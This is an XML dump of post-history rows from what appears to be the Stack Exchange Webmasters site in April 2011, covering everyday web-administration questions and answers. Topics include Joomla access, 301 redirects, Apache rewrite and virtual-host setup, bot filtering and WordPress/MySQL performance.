  <row Id="26840" PostHistoryTypeId="2" PostId="11797" RevisionGUID="7c5ea9f3-94f1-4d23-8be0-7a9143254cee" CreationDate="2011-04-07T11:24:14.923" UserId="1089" Text="Agree with @Joe's answer, but here are some links which maybe of use&#xD;&#xA;&#xD;&#xA;[Google's spam report page][1] - this includes a list of &quot;problems&quot;&#xD;&#xA;&#xD;&#xA;and the quality guidelines at the bottom of [this page][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/spamreport?hl=en&amp;pli=1&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769" />
  <row Id="26841" PostHistoryTypeId="2" PostId="11798" RevisionGUID="36bdd5e7-be46-46d3-b529-594cbe3f807e" CreationDate="2011-04-07T11:33:18.637" UserId="6657" Text="I have an internal section in my Joomla only for &quot;Registered&quot; users. There they can edit preferences. Multiple users can access the same preferences (different stakeholders). Now I have &quot;smithcorp&quot; and &quot;smithcorp_guest&quot;. They should both be able to view the same things, but &quot;smithcorp_guest&quot; shouldn't be able to edit the preferences. Is there a way to forbid &quot;smithcorp_guest&quot; access to this page? I have only seen access regulation via the user level, i.e. unregistered, registered, admin.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;MrB" />
  <row Id="26842" PostHistoryTypeId="1" PostId="11798" RevisionGUID="36bdd5e7-be46-46d3-b529-594cbe3f807e" CreationDate="2011-04-07T11:33:18.637" UserId="6657" Text="Joomla: Prevent certain user from visiting a certain page" />
  <row Id="26843" PostHistoryTypeId="3" PostId="11798" RevisionGUID="36bdd5e7-be46-46d3-b529-594cbe3f807e" CreationDate="2011-04-07T11:33:18.637" UserId="6657" Text="&lt;joomla&gt;" />
  <row Id="26844" PostHistoryTypeId="2" PostId="11799" RevisionGUID="00a17054-d590-4fef-9c6b-87ed6c2af4a2" CreationDate="2011-04-07T11:47:26.680" UserId="6658" Text="What are the server requirements for deploying a web portal. This web portal will be used by the public for registering, querying the record and uploading documents. once uploaded, the documents need to be made available in a database for which a separate server is already in place.&#xD;&#xA;&#xD;&#xA;10,000 users are supposed to log in per day.&#xD;&#xA;&#xD;&#xA;Requirements on Application server and webser configuration is required. Can any one help me on this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26845" PostHistoryTypeId="1" PostId="11799" RevisionGUID="00a17054-d590-4fef-9c6b-87ed6c2af4a2" CreationDate="2011-04-07T11:47:26.680" UserId="6658" Text="Web Server requirements" />
  <row Id="26846" PostHistoryTypeId="3" PostId="11799" RevisionGUID="00a17054-d590-4fef-9c6b-87ed6c2af4a2" CreationDate="2011-04-07T11:47:26.680" UserId="6658" Text="&lt;webserver&gt;" />
  <row Id="26847" PostHistoryTypeId="2" PostId="11800" RevisionGUID="460e6fa9-3cc4-4b95-ae17-3c5ac203ebf1" CreationDate="2011-04-07T11:48:49.443" UserId="6228" Text="I had on my website category pages.&#xD;&#xA;&#xD;&#xA;they were http://my.site.com/en/somecountry/category/&#xD;&#xA;but with the structure change of my site (it's rather new), I have no need for this http://my.site.com/en/somecountry/category/ anymore.&#xD;&#xA;&#xD;&#xA;Now, google sees it as a crawl error. Obviously... How should I deal with it. I know I have to do a redirect 301 but the big question is... To where!" />
  <row Id="26848" PostHistoryTypeId="1" PostId="11800" RevisionGUID="460e6fa9-3cc4-4b95-ae17-3c5ac203ebf1" CreationDate="2011-04-07T11:48:49.443" UserId="6228" Text="Best way to deal with non existant page" />
  <row Id="26849" PostHistoryTypeId="3" PostId="11800" RevisionGUID="460e6fa9-3cc4-4b95-ae17-3c5ac203ebf1" CreationDate="2011-04-07T11:48:49.443" UserId="6228" Text="&lt;redirects&gt;&lt;301-redirect&gt;" />
  <row Id="26850" PostHistoryTypeId="25" PostId="11793" RevisionGUID="3cbebc37-9a41-4215-96b4-8b7766a62056" CreationDate="2011-04-07T12:09:02.430" Comment="http://twitter.com/#!/StackWebmasters/status/55965302286061568" />
  <row Id="26854" PostHistoryTypeId="2" PostId="11802" RevisionGUID="cd4e877b-c1bc-4488-9f99-48205ec56f07" CreationDate="2011-04-07T13:08:16.957" UserId="6120" Text="The most user-friendly way would be to tell the visitor that you don't have category X any more, and to give a few alternatives - put some links/teasers to other sections/category that are similar, or link your best offer, latest news, whatever.&#xD;&#xA;It is basically &quot;sorry we don't have that anymore, but this is shiny too&quot; - turn the visit on an error page into an opportunity to sell/show something else." />
  <row Id="26856" PostHistoryTypeId="5" PostId="11795" RevisionGUID="fbd23fd0-8ea1-4ba7-931c-a19eeb6cf195" CreationDate="2011-04-07T13:38:38.077" UserId="1253" Comment="Removed self promotional links and made the URL visible in the answer to improve its quality." Text="Yes the 11 web sites with domain names started with digits seems to be successful cases,but if you visit the sites, you will find that they are all non-English web sites. So I think that the domain name started with digits will not cause any problem in non-English country because the domain name system does not have their words or characters so they will not be  confused.&#xD;&#xA;&#xD;&#xA;In my case, my domain name is also started with digits, which is an eCommerce site (http://www.66express.com) and found no problem with it until now. I don't think that google or other search engine will dislike the domain name started with digits." />
  <row Id="26857" PostHistoryTypeId="2" PostId="11803" RevisionGUID="9ac664d5-3f7d-47b4-8101-9b45ac0b867c" CreationDate="2011-04-07T13:46:30.040" UserId="1253" Text="If all you did is removed the language  specifier (the /en/ in the URL) why not just do a 301 redirect from `/en/somecountry/category/` to `/somecountry/category/`? This way users can find their way to the same content and search engines will also know the content has moved and to index the new pages and associate any links to the old pages to the new ones.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26858" PostHistoryTypeId="5" PostId="11776" RevisionGUID="f6157653-277f-4699-af0e-8155c66ab2ad" CreationDate="2011-04-07T13:47:44.690" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Will AJAX-fetched material be invisible to search engines?](http://webmasters.stackexchange.com/questions/8429/will-ajax-fetched-material-be-invisible-to-search-engines)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am building a website, which will be using javascript to lot extend, I mean, UL, TEMPLATES, ROUTES etc. I am pretty much unsure that, will the search engines be able to read my site contents, as I will be loading on the empty divs first and then rendering the data into them with javascript.&#xD;&#xA;&#xD;&#xA;Do bots execute the scripts at all ?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="26859" PostHistoryTypeId="10" PostId="11776" RevisionGUID="d319e157-8738-40f9-8b29-ad572201e533" CreationDate="2011-04-07T13:47:44.360" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="26860" PostHistoryTypeId="2" PostId="11804" RevisionGUID="77b0b7c3-03f5-4373-8fd9-602186c9b3a8" CreationDate="2011-04-07T13:50:14.767" UserId="1253" Text="It doesn't seem like this would be a problem as I don't see this form containing any kind of content that might be possibly used to benefit your rankings. But if you're using JavaScript to populate and submit the form why not go all the way and use JavaScript to capture the data and submit it via Ajax so there is no hidden form necessary?" />
  <row Id="26861" PostHistoryTypeId="6" PostId="10275" RevisionGUID="f72c8028-528d-420f-b2fb-587d6e0d63ee" CreationDate="2011-04-07T13:51:24.000" UserId="1253" Comment="Removed &quot;seo&quot; tag, added &quot;google-analytics&quot; tag" Text="&lt;google-analytics&gt;&lt;search-engines&gt;" />
  <row Id="26862" PostHistoryTypeId="5" PostId="11772" RevisionGUID="00c10a68-e1f3-424f-97b7-3e0129441bf3" CreationDate="2011-04-07T13:51:38.510" UserId="4306" Comment="Fixed spelling, updated title for clarity" Text="I have a website that when you search for the key terms in Google, comes up first in the list. However, just above it in the Google Places section, it comes in second in the list. &#xD;&#xA;&#xD;&#xA;Does Google Places have its own optimization techniques?" />
  <row Id="26863" PostHistoryTypeId="4" PostId="11772" RevisionGUID="00c10a68-e1f3-424f-97b7-3e0129441bf3" CreationDate="2011-04-07T13:51:38.510" UserId="4306" Comment="Fixed spelling, updated title for clarity" Text="What determines the order of results for Google Places?" />
  <row Id="26864" PostHistoryTypeId="24" PostId="11772" RevisionGUID="00c10a68-e1f3-424f-97b7-3e0129441bf3" CreationDate="2011-04-07T13:51:38.510" Comment="Proposed by 4306 approved by 1253 edit id of 99" />
  <row Id="26865" PostHistoryTypeId="2" PostId="11805" RevisionGUID="945426cf-41f4-4cab-97f4-b505b1a2a4d4" CreationDate="2011-04-07T13:58:30.563" UserId="1253" Text="I'm glad you know there isn't going to be a bulletproof way to accomplish this. That means your outlook is at least realistic.&#xD;&#xA;&#xD;&#xA;Since JavaScript is not an option I would say you're left with:&#xD;&#xA;&#xD;&#xA;- Check the user-agent for the word &quot;bot&quot; in it. That will catch most of them.&#xD;&#xA;&#xD;&#xA;- Compile [a list of known bots][1] and filter them based on some kind of unique identifier, probably their user-agent.&#xD;&#xA;&#xD;&#xA;- Put a hidden link in the footer of your website that links to a page that collects user-agents and/or IP addresses. Users won't see this but bots will. So anyone who visits that page will be a bot. Record them and then block them from your stats.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/db/all.txt" />
  <row Id="26866" PostHistoryTypeId="2" PostId="11806" RevisionGUID="e8935af9-dd07-4064-b5e0-6371f218dc52" CreationDate="2011-04-07T14:24:05.093" UserId="6068" Text="I am developing my own blog site in ASP.NET and I would have several blogs in future. I want to have a widget on page which will show the number of user visited to my page based on the URL {Because for every every blog I will a unique URL}, so that the new user could know that the blog has been visited how many times!&#xD;&#xA;&#xD;&#xA;I can make the same via coding, very easily, but I have database size restriction from my hosting provider and I can't go beyond that !!&#xD;&#xA;&#xD;&#xA;Please assist !" />
  <row Id="26867" PostHistoryTypeId="1" PostId="11806" RevisionGUID="e8935af9-dd07-4064-b5e0-6371f218dc52" CreationDate="2011-04-07T14:24:05.093" UserId="6068" Text="Number of visitor widget" />
  <row Id="26868" PostHistoryTypeId="3" PostId="11806" RevisionGUID="e8935af9-dd07-4064-b5e0-6371f218dc52" CreationDate="2011-04-07T14:24:05.093" UserId="6068" Text="&lt;blog&gt;&lt;asp.net&gt;&lt;free&gt;&lt;widgets&gt;" />
  <row Id="26869" PostHistoryTypeId="2" PostId="11807" RevisionGUID="663ebc7e-d354-48ed-b12a-5319602d9dd7" CreationDate="2011-04-07T14:51:47.530" UserId="6659" Text="I am currently in the process of setting up an Apache server that will be hosting projects built from SVN using a continuous integration server. The problem is, however, that while I've managed to configure the build server to output the revisions of a project to a directory, I'm stumped as to how to actually configure Apache using `mod_vhost_alias` to serve the different projects.&#xD;&#xA;&#xD;&#xA;The directory structure is generated using the following pattern:&#xD;&#xA;&#xD;&#xA;&gt; /usr/share/Projects/r[revision]&#xD;&#xA;&#xD;&#xA;Inside, there are two directories which I'd like to configure access via a subdomain:&#xD;&#xA;&#xD;&#xA;&gt; api.r[revision].testserver.local -&gt; ./server&#xD;&#xA;&#xD;&#xA;&gt; r[revision].testserver.local -&gt; ./web&#xD;&#xA;&#xD;&#xA;There is already a local DNS server that serves the wildcards on `*.testserver.local` and already resolves them to the correct IP, but Apache needs to resolve the correct `DocumentRoot` for the different subdomains.&#xD;&#xA;&#xD;&#xA;The end result I'm hoping for is that as long as the build server outputs and configures the projects inside `/usr/share/Projects/r*`, Apache will know how to resolve these subdomains without the need to write conf files and reloading configurations each time a new revision is fetched and built from SVN." />
  <row Id="26870" PostHistoryTypeId="1" PostId="11807" RevisionGUID="663ebc7e-d354-48ed-b12a-5319602d9dd7" CreationDate="2011-04-07T14:51:47.530" UserId="6659" Text="Configuring `mod_vhost_alias` to server subdomain-based websites" />
  <row Id="26871" PostHistoryTypeId="3" PostId="11807" RevisionGUID="663ebc7e-d354-48ed-b12a-5319602d9dd7" CreationDate="2011-04-07T14:51:47.530" UserId="6659" Text="&lt;apache&gt;&lt;httpd.conf&gt;" />
  <row Id="26872" PostHistoryTypeId="25" PostId="11807" RevisionGUID="50901abd-aadb-401f-9f86-98d4c7c0552a" CreationDate="2011-04-07T15:09:02.767" Comment="http://twitter.com/#!/StackWebmasters/status/56010602623152128" />
  <row Id="26873" PostHistoryTypeId="2" PostId="11808" RevisionGUID="7032e526-3a8e-4633-8316-b7a4de582e42" CreationDate="2011-04-07T15:15:48.890" UserId="6660" Text="A new Google Local MERGED algo started showing up Oct 27th. I was the 1st person to discover testing of the new layout and broke the story about it on Mike Blumenthal's blog way back in July.&#xD;&#xA;&#xD;&#xA;Since then I've done lots of reverse engineering of the algo and here is my take on things.&#xD;&#xA;&#xD;&#xA;The OLD Google Places algo used 50 ranking factors that most people know by now. NAP consistency, reviews, citations, location, etc. &#xD;&#xA;&#xD;&#xA;However the new MERGED algo is much more reliant on your web site and traditional organic SEO factors. PLUS it takes having certain local hooks. So reviews and citations don't carry as much weight as they did prior to Oct. 27th. (As of today, subject to change on G's whims.)&#xD;&#xA;&#xD;&#xA;With the old algo I could get a client 25 page one rankings an hour after I touched their Place page.  With the new algo, it almost always takes at least tweaking their on-page SEO and usually adding or fixing localization factors on their site to improve their ranking. Since I don't do organic SEO any more and am far too busy with Place page optimization to log in and make site changes, I refer that part out. So it takes longer to get everything done to improve rankings for the core keywords.&#xD;&#xA;&#xD;&#xA;NOTE: You still need to optimize for both - because there are 2 algos at play.&#xD;&#xA;&#xD;&#xA;When you see the old style 2 line Places 3 pack or 7 pack style listing, then G is using the OLD Places algo that takes reviews and citations into account. (This layout for a few months was showing up on less competitive searches only - but seems to gradually be making more of a comeback and is starting to show up more and more in some cities for CORE KW searches.)&#xD;&#xA;&#xD;&#xA;When you see the new MERGED layout with the larger listing that pulls from the site's meta, then the new algo is at play, that heavily factors in organic SEO ranking.&#xD;&#xA;&#xD;&#xA;Hope this helps and best of luck!&#xD;&#xA;&#xD;&#xA;Linda " />
  <row Id="26874" PostHistoryTypeId="2" PostId="11809" RevisionGUID="07afcbfc-e21e-4873-8f72-9666b35f7909" CreationDate="2011-04-07T15:18:06.733" UserDisplayName="santiago.basulto" Text="I'm setting my first server (debian 6.0.1). It's hosted at: www.patagoniatrabaja.com.ar&#xD;&#xA;&#xD;&#xA;I'm starting with it, so i've installed apache, and did not set any virtual host.&#xD;&#xA;&#xD;&#xA;The problem is that, in the home page i've done a &quot;comming soon&quot; page, but the image is not shown.&#xD;&#xA;&#xD;&#xA;I've tried everything! Change the /var/www owners, groups, &quot;chmod&quot; it. But nothing works!!&#xD;&#xA;&#xD;&#xA;I'm afraid that my ISP is blocking me and don't let me serve any multimedia content.&#xD;&#xA;&#xD;&#xA;Can you help me please?" />
  <row Id="26875" PostHistoryTypeId="1" PostId="11809" RevisionGUID="07afcbfc-e21e-4873-8f72-9666b35f7909" CreationDate="2011-04-07T15:18:06.733" UserDisplayName="santiago.basulto" Text="Server not serving images!" />
  <row Id="26876" PostHistoryTypeId="3" PostId="11809" RevisionGUID="07afcbfc-e21e-4873-8f72-9666b35f7909" CreationDate="2011-04-07T15:18:06.733" UserDisplayName="santiago.basulto" Text="&lt;apache&gt;&lt;server&gt;&lt;isp&gt;" />
  <row Id="26877" PostHistoryTypeId="17" PostId="11809" RevisionGUID="4595baa1-96dd-42b0-8dbf-2f3197c5d2fb" CreationDate="2011-04-07T15:20:38.293" UserId="-1" Comment="from http://serverfault.com/questions/256910/server-not-serving-images" Text="" />
  <row Id="26878" PostHistoryTypeId="2" PostId="11810" RevisionGUID="aa21986b-0321-4307-9656-e214c0cb5866" CreationDate="2011-04-07T15:49:29.283" UserId="6661" Text="I have a client that want a website with a single domain name with many different extensions like :&#xD;&#xA;    &#xD;&#xA;    somedomain.com&#xD;&#xA;    somedomain.org&#xD;&#xA;    somedomain.net&#xD;&#xA;    somedomain.mobi&#xD;&#xA;    somedomain.tv&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Just to be sure the saturate the name and that nobody &quot;hijack&quot; the name.&#xD;&#xA;&#xD;&#xA;The client is a Searcher in &quot;Numeric content&quot; and has a PHD in that field of expertise. &#xD;&#xA;&#xD;&#xA;Personnally I think it would be overkill to go that road since the website will only attract a limited amount of people which will be refered mostly through official press documents and business cards with the web URL on it. Since he is a scholar I was looking for some published articles about that matters.&#xD;&#xA;&#xD;&#xA;P.S. In the end if he is still convinced that his way is the right way I will do it, but since it comes from a public funded Grant I was looking to save him money (and the general population) so he can use the rest on more useful areas&#xD;&#xA;&#xD;&#xA;P.P.S. I am from Québec, the most taxed state in North America, that is why I have those concerns :P" />
  <row Id="26879" PostHistoryTypeId="1" PostId="11810" RevisionGUID="aa21986b-0321-4307-9656-e214c0cb5866" CreationDate="2011-04-07T15:49:29.283" UserId="6661" Text="Multiple domain names" />
  <row Id="26880" PostHistoryTypeId="3" PostId="11810" RevisionGUID="aa21986b-0321-4307-9656-e214c0cb5866" CreationDate="2011-04-07T15:49:29.283" UserId="6661" Text="&lt;websites&gt;&lt;domain-names&gt;" />
  <row Id="26881" PostHistoryTypeId="2" PostId="11811" RevisionGUID="d82f4529-34c8-42fe-b84f-5c3556ae7bdb" CreationDate="2011-04-07T15:57:05.843" UserId="6662" Text="Just set up IP based virtual host and inside put&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteLog &quot;/private/var/log/apache2/rewrite.log&quot;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^api.*&#xD;&#xA;    RewriteRule   ^(.+)     %{HTTP_HOST}$1          [C]&#xD;&#xA;    RewriteRule   ^api\.r(.+)\.server\.local(.*) /Users/uros/Sites/testserver/r$1/server/$2&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^r*&#xD;&#xA;    RewriteRule   ^(.+)     %{HTTP_HOST}$1          [C]&#xD;&#xA;    RewriteRule   ^r(.+)\.server\.local(.*) /Users/uros/Sites/testserver/r$1/web/$2&#xD;&#xA;&#xD;&#xA;You don't need default DocumentRoot set. And don't forget that your VirtualHost need to answer on all domains, so it's better to put this host on a separate IP or include virtualhost definition first (if none found first one is used)&#xD;&#xA;&#xD;&#xA;P.S. I know the code could be optimized, but this one works ;)" />
  <row Id="26882" PostHistoryTypeId="2" PostId="11812" RevisionGUID="3b967e86-f8f1-4685-9efc-dcdbb62a36a4" CreationDate="2011-04-07T16:16:00.220" UserId="6663" Text="How would I setup Joomla to require or bypass authentication based on visitors IP address?&#xD;&#xA;&#xD;&#xA;I would like to setup a Joomla website that requires visitors to login, unless they are visiting from a specific IP address or subnet.&#xD;&#xA;&#xD;&#xA;Also, I would like the login to be LDAP based.&#xD;&#xA;&#xD;&#xA;I would be hosting the Joomla site on my local network and exposing it via my router with port-forwarding." />
  <row Id="26883" PostHistoryTypeId="1" PostId="11812" RevisionGUID="3b967e86-f8f1-4685-9efc-dcdbb62a36a4" CreationDate="2011-04-07T16:16:00.220" UserId="6663" Text="How would I setup Joomla to require or bypass authentication based on visitors IP address?" />
  <row Id="26884" PostHistoryTypeId="3" PostId="11812" RevisionGUID="3b967e86-f8f1-4685-9efc-dcdbb62a36a4" CreationDate="2011-04-07T16:16:00.220" UserId="6663" Text="&lt;apache&gt;&lt;joomla&gt;&lt;ldap&gt;" />
  <row Id="26885" PostHistoryTypeId="2" PostId="11813" RevisionGUID="256ff71d-5d95-43ad-b235-9eb8522c4c18" CreationDate="2011-04-07T16:51:25.333" UserId="6068" Text="I have created a blog site in ASP.NET and I am using dynamic syntax highlighter. I need a editor in which I can write my blog and necessary code should wrap inside the &#xD;&#xA;&#xD;&#xA;    &lt;pre&gt;&#xD;&#xA;&#xD;&#xA; syntax. Which editor should I use for this in which I can easily convert my text to HTML format to save in database" />
  <row Id="26886" PostHistoryTypeId="1" PostId="11813" RevisionGUID="256ff71d-5d95-43ad-b235-9eb8522c4c18" CreationDate="2011-04-07T16:51:25.333" UserId="6068" Text="Editor for blog writing" />
  <row Id="26887" PostHistoryTypeId="3" PostId="11813" RevisionGUID="256ff71d-5d95-43ad-b235-9eb8522c4c18" CreationDate="2011-04-07T16:51:25.333" UserId="6068" Text="&lt;blog&gt;&lt;wysiwyg&gt;&lt;text-editor&gt;" />
  <row Id="26888" PostHistoryTypeId="2" PostId="11814" RevisionGUID="8ffdd5de-1a3f-4e7f-baee-82cf76dba9c2" CreationDate="2011-04-07T17:28:41.830" UserId="6665" Text="Dealing with domain 'speculators' has been getting me down recently. Then I noticed my current registrar, name.com, have some deal with a domain auction company to list &quot;premium&quot; domains on their website; it may seem petty, but I don't want to support this kind of venture in any way.&#xD;&#xA;&#xD;&#xA;Are there any good registrars out there who don't list 'aftermarket' domains? I don't need much in the way of features, but a nice clean interface is always nice.&#xD;&#xA;&#xD;&#xA;Cheers." />
  <row Id="26889" PostHistoryTypeId="1" PostId="11814" RevisionGUID="8ffdd5de-1a3f-4e7f-baee-82cf76dba9c2" CreationDate="2011-04-07T17:28:41.830" UserId="6665" Text="Domain registrar that doesn't encourage domain 'speculation'" />
  <row Id="26890" PostHistoryTypeId="3" PostId="11814" RevisionGUID="8ffdd5de-1a3f-4e7f-baee-82cf76dba9c2" CreationDate="2011-04-07T17:28:41.830" UserId="6665" Text="&lt;domains&gt;&lt;registrar&gt;" />
  <row Id="26891" PostHistoryTypeId="2" PostId="11815" RevisionGUID="4f5edca5-e1a6-452b-8ddc-86f5fb98a227" CreationDate="2011-04-07T17:35:54.897" UserId="5042" Text="We are looking at running some webinars soon, and I was wondering if you folks had any experience with a service you have been happy with.&#xD;&#xA;&#xD;&#xA;We are currently looking at using one of the following (but are always up to suggestions):&#xD;&#xA;&#xD;&#xA;http://www.megameeting.com/overview.html&#xD;&#xA;&#xD;&#xA;https://www.videoseminarlive.com/index.aspx&#xD;&#xA;&#xD;&#xA;http://www.webex.com/&#xD;&#xA;&#xD;&#xA;We also looked at:&#xD;&#xA;http://www.gotomeeting.com&#xD;&#xA;&#xD;&#xA;But they seem to not support video at this time.&#xD;&#xA;&#xD;&#xA;Any thoughts??" />
  <row Id="26892" PostHistoryTypeId="1" PostId="11815" RevisionGUID="4f5edca5-e1a6-452b-8ddc-86f5fb98a227" CreationDate="2011-04-07T17:35:54.897" UserId="5042" Text="Best provider for webinar hosting" />
  <row Id="26893" PostHistoryTypeId="3" PostId="11815" RevisionGUID="4f5edca5-e1a6-452b-8ddc-86f5fb98a227" CreationDate="2011-04-07T17:35:54.897" UserId="5042" Text="&lt;hosting&gt;" />
  <row Id="26894" PostHistoryTypeId="6" PostId="11815" RevisionGUID="124c5772-31d2-48b2-9de3-67ad17e013e1" CreationDate="2011-04-07T17:37:57.150" UserId="1253" Comment="removed &quot;hosting&quot; tag, added &quot;webinar&quot; tag" Text="&lt;webinar&gt;" />
  <row Id="26895" PostHistoryTypeId="2" PostId="11816" RevisionGUID="ba123c5f-fa31-4822-b7cd-e7a5dd66509c" CreationDate="2011-04-07T17:41:12.667" UserId="5042" Text="I do most of my domain registration and hosting through sustainablehosting.com. They are slightly more expensive then the big boys, but I'm supporting a small, environmentally friendly company, and they don't spam me with anything. To the best of my knowledge, they don't participate in any &quot;speculative&quot; or &quot;aftermarketin&quot; shenanigans." />
  <row Id="26896" PostHistoryTypeId="2" PostId="11817" RevisionGUID="5a461a59-517a-40de-a772-fa395ab6f021" CreationDate="2011-04-07T17:55:31.133" UserId="1064" Text="You are expected to add the description using `mod_autoindex`'s [AddDescription directive][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/mod/mod_autoindex.html#adddescription" />
  <row Id="26897" PostHistoryTypeId="25" PostId="11814" RevisionGUID="23da351a-2f90-4938-b3e0-1477ec61b337" CreationDate="2011-04-07T18:09:02.753" Comment="http://twitter.com/#!/StackWebmasters/status/56055900074549248" />
  <row Id="26898" PostHistoryTypeId="2" PostId="11818" RevisionGUID="cf128f15-aa25-4f60-bf5a-218c59547c78" CreationDate="2011-04-07T19:04:24.913" UserId="6597" Text="The first line is used to prevent internal URL's from being rewritten. That might cause different pages to be displayed, so I've removed it.&#xD;&#xA;&#xD;&#xA;If the host is `example.com` or is not requested over https, it will be rewritten to `https://example.com/`. I.e., it rewrites `http://example.com`, `http://www.example.com` and `https://example.com` to `https://www.example.com` in one action.&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^example\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTPS} !on&#xD;&#xA;    RewriteRule ^(.*)$ https://www.example.com/$1 [R,L]&#xD;&#xA;&#xD;&#xA;[Documentation on mod_rewrite for Apache 2.2](http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html#rewritecond)&#xD;&#xA;&#xD;&#xA;If you've subdomains like `forum.example.com`, the first rule should be as is. Otherwise, you can do a negative match against `www.example.com` as well.&#xD;&#xA;    " />
  <row Id="26905" PostHistoryTypeId="5" PostId="11694" RevisionGUID="24cf6f4d-c2f9-4508-9e90-bec283edb7a2" CreationDate="2011-04-07T19:10:58.540" UserId="5420" Comment="fixed punctuation - added question mark" Text="Last year I started working with a team on our first major web project (&lt;a href=&quot;http://wethepixels.com&quot;&gt;We, the Pixels&lt;/a&gt;). I believe the idea is very solid, but it has a hard requirement for a group of people being on the site for the randomly scheduled events.  We are having problems getting people to come and stay for these events.&#xD;&#xA;&#xD;&#xA;What is the proper marketing approach needed to bring people to the site for these events?  We have recently done the following in an attempt to fix the problem:&#xD;&#xA;&#xD;&#xA;- Added email notification of new events being created&#xD;&#xA;- Added privileges based on rank&#xD;&#xA;- Added text throughout the site encouraging setting up the events in the future so other users can have time see that it exists.&#xD;&#xA;- Gotten involved in with other communities that would find the site interesting in order to promote (market) the site&#xD;&#xA;- Advertised using Google Adwords&#xD;&#xA;&#xD;&#xA;Is there an standard marketing approach for such a case as this?&#xD;&#xA;&#xD;&#xA;Thank you for any answers!" />
  <row Id="26906" PostHistoryTypeId="17" PostId="11821" RevisionGUID="e4ba08a4-9f15-4fb7-8368-2eea6277d444" CreationDate="2011-04-07T19:30:39.517" UserId="-1" Comment="from http://stackoverflow.com/questions/5585646/wordpress-mysql-performance/5585700#5585700" Text="" />
  <row Id="26907" PostHistoryTypeId="17" PostId="11822" RevisionGUID="db1e0bf4-2235-46b8-97fb-21e01ad32cbd" CreationDate="2011-04-07T19:30:39.517" UserId="-1" Comment="from http://stackoverflow.com/questions/5585646/wordpress-mysql-performance/5585752#5585752" Text="" />
  <row Id="26908" PostHistoryTypeId="2" PostId="11821" RevisionGUID="e73162ad-81af-4266-aca5-1f5b47a50f48" CreationDate="2011-04-07T18:21:22.057" UserDisplayName="Dudley Innocent" Text="Having all of your eggs in one basket with that many hits usually is never a good idea." />
  <row Id="26909" PostHistoryTypeId="2" PostId="11822" RevisionGUID="13990c03-5df2-4483-85d3-07799164011a" CreationDate="2011-04-07T18:25:14.270" UserDisplayName="N.B." Text="[APC][1] (Alternative PHP Cache) would help save CPU cycles since it caches PHP pages that have been interpreted already. That means that on every page load, your PHP files aren't getting interpreted first and then executed by the virtual machine, they go straight to PHP virtual machine and performance boost is significant (I've seen performance increase from 2 to 12 times).&#xD;&#xA;&#xD;&#xA;Next step would be optimizing MySQL. Obvious step is checking whether you're using InnoDB or not. Increasing InnoDB's buffer_pool_size to about 90% of your RAM would make MySQL store dataset it works with directly in RAM, so disk IO is avoided as much as possible.&#xD;&#xA;&#xD;&#xA;However, what you'd ideally try to do is cache all of your pages (I assume you don't have that many new content-related things posted per day).&#xD;&#xA;That probably requires some work (or there might be a WordPress mod out there, I'm not really sure because I'm not that faimilliar with WP and its plugins).&#xD;&#xA;Caching your content would alleviate load on your database. 40k - 50k views a day implicates high read rate so you should optimize for read rather than write.&#xD;&#xA;&#xD;&#xA;Also, you might look into swapping to [nginx][2] rather than staying with Apache and utilizing [PHP FPM][3] with nginx.&#xD;&#xA;That should boost your performance by a huge margin.&#xD;&#xA;&#xD;&#xA;Without seeing what actually burdens your server (my guess is Apache spawning a lot of processes that frequently access MySQL), these are the only things that pop into mind at this point.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.net/manual/en/book.apc.php&#xD;&#xA;  [2]: http://nginx.org/&#xD;&#xA;  [3]: http://php-fpm.org/" />
  <row Id="26910" PostHistoryTypeId="2" PostId="11820" RevisionGUID="e42ce899-921c-4214-9963-144b58f0736f" CreationDate="2011-04-07T18:16:56.410" UserDisplayName="Matthew Paulson" Text="I have a website (www.americanbankingnews.com) that gets 40,000-50,000 page views today. It's currently sitting on a dedicated quad-core Xeon server with 8GB of ram. The site is powered by WordPress and MySQL (sitting on the same server) and I'm currently using W3 Total Cache for page and MySQL query Caching.&#xD;&#xA;&#xD;&#xA;Unfortunately, that doesn't seem to be enough. During peak traffic times, my servers are getting a few HTTP 500 errors and pages that aren't cached load slowly.&#xD;&#xA;&#xD;&#xA;I'm currently not using Xcache or any other PHP cache/acceleration tools. &#xD;&#xA;&#xD;&#xA;Are there additional steps that I should take to try to optimize MySQL and PHP performance? Or should I fork over for an additional server. Specifically, I'd be interested in additional suggestions to improve MySQL performance and whether or not tools like xcache might help in this situation." />
  <row Id="26911" PostHistoryTypeId="1" PostId="11820" RevisionGUID="e42ce899-921c-4214-9963-144b58f0736f" CreationDate="2011-04-07T18:16:56.410" UserDisplayName="Matthew Paulson" Text="WordPress MySQL Performance" />
  <row Id="26912" PostHistoryTypeId="3" PostId="11820" RevisionGUID="e42ce899-921c-4214-9963-144b58f0736f" CreationDate="2011-04-07T18:16:56.410" UserDisplayName="Matthew Paulson" Text="&lt;mysql&gt;&lt;performance&gt;&lt;wordpress&gt;" />
  <row Id="26913" PostHistoryTypeId="17" PostId="11820" RevisionGUID="86d2f72c-3c2a-4871-8d79-95c038ca174c" CreationDate="2011-04-07T19:30:39.517" UserId="-1" Comment="from http://stackoverflow.com/questions/5585646/wordpress-mysql-performance" Text="" />
